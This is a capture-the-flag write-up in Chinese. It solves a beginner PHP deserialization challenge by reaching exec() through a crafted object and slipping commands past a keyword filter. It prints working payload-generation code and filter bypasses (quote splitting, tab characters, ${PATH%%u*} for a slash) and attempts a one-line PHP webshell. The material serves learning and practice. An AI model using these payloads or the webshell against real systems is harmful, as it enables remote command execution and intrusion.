<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
挺会玩奥,新手练习区第一题整个反序列化
先是反序列化调用__wakeup,执行waf过滤
然后析构的时候in_array检测 m e t h o d 是不是在数组 ‘ a r r a y ( " p i n g " ) ‘ 里,是就调用类的 method是不是在数组`array("ping")`里,是就调用类的 method是不是在数组‘array("ping")‘里,是就调用类的method代表的函数,传入$args做参数
in_array是个弱类型比较,但是好像也没办法绕,因为只能是数字开头字符串和数字比较时才能用弱类型绕。所以只能执行他的ping
ping
就是直接把参数当做函数执行,只有一个参数,所以args是只有一个元素的数组
要注意,exec执行的是系统命令,相当于system而不是eval
所以echo%09'<?=eval($_POST[1])?>'>1.php
应该是没有什么问题的
结束了再试试大小写绕过
那么开始构造序列化字符串
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$a=new ease('ping',array(urldecode('pwd')));
echo urlencode(base64_encode(serialize($a)));
?>
查看当前目录是/var/www/html
但是不知道为什么即使用绝对目录也写不进去webshell,可能是没有写权限?
执行ls,这里用单引号隔开绕过waf:$a=new ease('ping',array(urldecode('l\'\'s')));
得到:array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
nl查看flag_1s_here
:nl%09flag_1s_here
过滤了?
哦flag,那就用引号绕过:'ca\'\'t%09fla\'\'g_1s_here'
但是空的?
/
过滤了,没法查看别的目录
但可以用${PWD:0:1}
截取pwd全局变量的第一个字符来绕过
但不让截取,如果尝试截取连echo都没有回显
whoami显示www-data
php -v显示:
PHP 7.4.28 (cli) (built: Mar 18 2022 02:00:12) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
有没有可能没回显的原因是没有flag_1s_here
文件的权限?
cp flag_1s_here f.txt
没有f.txt,说明还是没权限
total 8
drwxr-xr-x 1 root root 4096 Sep 26 12:38 flag_1s_here
-rwxr-xr-x 1 root root 863 Aug 18 07:49 index.php
所以flag_1s_here是个目录
l\'\'s%09fl\'\'ag_1s_here
,返回:flag_831b69012c67b35f.php
直接访问啥都没有,意料之中
但是\
绕不过去,没办法查看这个文件
env也没有这个目录
突然发现${PATH%%u*}
可以绕过,原理是:
${file%%/*}
:拿掉第一条 / 及其右边的字串:(空值)
https://blog.csdn.net/qq_34246965/article/details/108085291
直接cat查看flag
flag_1s_here${PATH%%u*}flag_831b69012c67b35f.php
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$a=new ease('ping',array(urldecode('ca\'\'t%09fl\'\'ag_1s_here${PATH%%u*}fl\'\'ag_831b69012c67b35f.p\'\'hp')));
var_dump($a);
echo urlencode(base64_encode(serialize($a))).'<br>';
// $ctf=@$_POST['ctf'];
// $re=unserialize(base64_decode($ctf));
// var_dump($re);
?>
拿下flag
这TMD是新手第一题?新手直接劝退好吧